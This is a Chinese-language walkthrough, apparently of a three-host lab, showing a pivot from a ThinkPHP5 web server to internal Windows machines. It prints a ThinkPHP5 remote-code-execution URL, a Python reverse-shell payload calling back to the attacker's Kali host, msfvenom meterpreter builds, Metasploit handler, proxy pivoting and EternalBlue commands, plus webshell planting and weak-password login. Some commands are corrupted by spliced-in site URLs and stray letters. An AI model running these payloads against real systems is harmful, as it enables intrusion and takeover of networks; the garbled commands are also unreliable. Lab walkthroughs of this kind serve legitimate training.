1. 程式人生 > 程式設計 >從web到內網滲透的一次過程詳解

從web到內網滲透的一次過程詳解

目錄
  • 記一次從web到內網的滲透
    • 拓撲圖
    • 環境介紹
    • 滲透過程
      • target1
      • target2
      • taget3

記一次從web到內網的滲透

拓撲圖

從web到內網滲透的一次過程詳解

環境介紹

現在有三臺機器,分別為target1,target2,target3,裡面分別有三個flag,每個flag的分值不同,需要通過拿下一個已知IP(target1)進而向內網裡面進行滲透,最終要成功獲得三臺主機許可權

滲透過程

target1

使用nmap進行掃描

從web到內網滲透的一次過程詳解

可以看到開啟了80埠
瀏覽器訪問目標靶機80埠

從web到內網滲透的一次過程詳解

可以看到就是apache的預設頁面
使用dirb進行目錄結構掃描

從web到內網滲透的一次過程詳解

發現public頁面

從web到內網滲透的一次過程詳解

可以看到是think5搭建的,thinkphp5曾經爆過一個遠端程式碼執行的漏洞,直接上網站尋找payload驗證是否存在漏洞

http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vhttp://www.cppcns.comars[0]=system&vars[1][]=id

從web到內網滲透的一次過程詳解

可以看到確實存在漏洞,現在可以向網站裡面寫入一句話木馬,然後用蟻劍去連線,這是一種方法,但是也可以直接去嘗試反彈一個shell到kali上

kali上執行:nc -lvvp 4444
瀏覽器中執行:http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_ST
REAM);s.connect((%22192.168.109.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(http://www.cppcns.coms.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);

可以看到kali這邊成功反彈到了一個shell

從web到內網滲透的一次過程詳解

使用python生成一個互動式的shell

從web到內網滲透的一次過程詳解

查詢一下flag

從web到內網滲透的一次過程詳解

成功獲得第一個flag
使用msfvenom生成一個反向的shellcode

msfvenom -p /x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf

從web到內網滲透的一次過程詳解

使用python開啟一個臨時http服務

從web到內網滲透的一次過程詳解

靶機下載該shellcode

從web到內網滲透的一次過程詳解

然後kali開啟msf,進行監聽

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 5555
set lhost 192.168.109.128
exploit

從web到內網滲透的一次過程詳解

然後靶機上給予shellcode執行的許可權後執行該檔案

從web到內網滲透的一次過程詳解

可以看到kali這邊成功返回一個meterpreter

從web到內網滲透的一次過程詳解

檢視一下網路配置

從web到內網滲透的一次過程詳解

可以看到target1還存在一個網段
新增路由表

從web到內網滲透的一次過程詳解

配置socks代理

use auxiliary/server/socks_proxy
exploit

從web到內網滲透的一次過程詳解

配置proxychains代理鏈

vim /etc/proxychains4.conf

從web到內網滲透的一次過程詳解

target2

掃描10.1.1.0/24這個網段是否還存在其他機器

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.1.0/24
set ports 1-1000
set threads 50
exploit

從web到內網滲透的一次過程詳解

可以看到該網段還存在一臺機器為10.1.1.150
使用nmap掃描10.1.1.150開放埠

proxychains4 nmap -Pn -sT 10.1.1.150

從web到內網滲透的一次過程詳解

可以看到也開放了80埠
這裡直接用瀏覽器去訪問10.1.1.150的80埠顯然是不行的,不過火狐瀏覽器也是支援socks代理的

從web到內網滲透的一次過程詳解

再次訪問網站
從web到內網滲透的一次過程詳解

檢視robots.txt檔案

從web到內網滲透的一次過程詳解

找到後臺登入位置

從web到內網滲透的一次過程詳解

直接使用弱密碼admin:admin登入成功

從web到內網滲透的一次過程詳解

成功獲得第二個flag,找到模板位置,發現裡面的原始碼都是可以編輯的

從web到內網滲透的一次過程詳解

寫入一句話木馬

從web到內網滲透的一次過程詳解

然後使用蟻劍去連線,當然直接去連線肯定也是不行的,不過蟻劍也是支援代理設定的

從web到內網滲透的一次過程詳解

之後再正常去連線就行了,但是我這裡不知道是環境問題還是蟻劍的問題,正常來說這裡是肯定能連線成功的,我試了很多遍都沒有成功,然後想著直接把那個頁面裡面的原始碼直接換為大馬,也是不行的,因為一般大馬都是經過作者編譯過了,直接複製過去肯定會有問題,最後只能直接將大馬事先準備在了網站根目錄下面,這裡主要是為了體現內網滲透,所以這裡也不細說
訪問大馬

從web到內網滲透的一次過程詳解

使用msfvenom生成一個正向連線的shellcode

msfvenom -p windows/meterpreter/bind_tcp lport=6666 -f exe -o 1.exe

從web到內網滲透的一次過程詳解

然後通過大馬將shellcode上傳到目標伺服器

從web到內網滲透的一次過程詳解

然後再次進入之前開啟的msf

從web到內網滲透的一次過程詳解

然後在大馬上執行上傳的shellcode

從web到內網滲透的一次過程詳解

可以看到kali這邊成功返回了一個meterpreter

從web到內網滲透的一次過程詳解

檢視網路配置

從web到內網滲透的一次過程詳解

可以看到還有一個網段10.1.2.0/24
將路由新增到路由表

run post/multi/manage/autorouwww.cppcns.comte

從web到內網滲透的一次過程詳解

taget3

掃描10.1.2.0/24網段是否還存在其他機器

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.2.0/24
set ports 1-1000
set threads 100
exploit

從web到內網滲透的一次過程詳解

這裡掃描實在太慢,這個網段還有一個機器IP為10.1.2.250
然後再新增一層socks代理

use auxiliary/server/socks_proxy
set srvport 2222
exploit

從web到內網滲透的一次過程詳解

配置proxychains代理鏈

vim /etc/proxychains4.conf

從web到內網滲透的一次過程詳解

使用nmap進行埠掃描

proxychains4 nmap -Pn -sT 10.1.2.250

從web到內網滲透的一次過程詳解

根據掃描結果判斷為windows
再使用nmap的漏掃進行掃描

proxychains4 nmap --script=vuln 10.1.2.250

從web到內網滲透的一次過程詳解

可以看到存在ms17-010,直接上msf尋找攻擊模組

use exploit/windoBGqCuws/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.1.2.250
exploit

從web到內網滲透的一次過程詳解

查詢一下flag

從web到內網滲透的一次過程詳解

三臺主機的許可權全部那先,所有flag查詢完畢,至此,滲透結束

以上就是從web到內網滲透的一次過程詳解的詳細內容,更多關於web到內網滲透過程的資料請關注我們其它相關文章!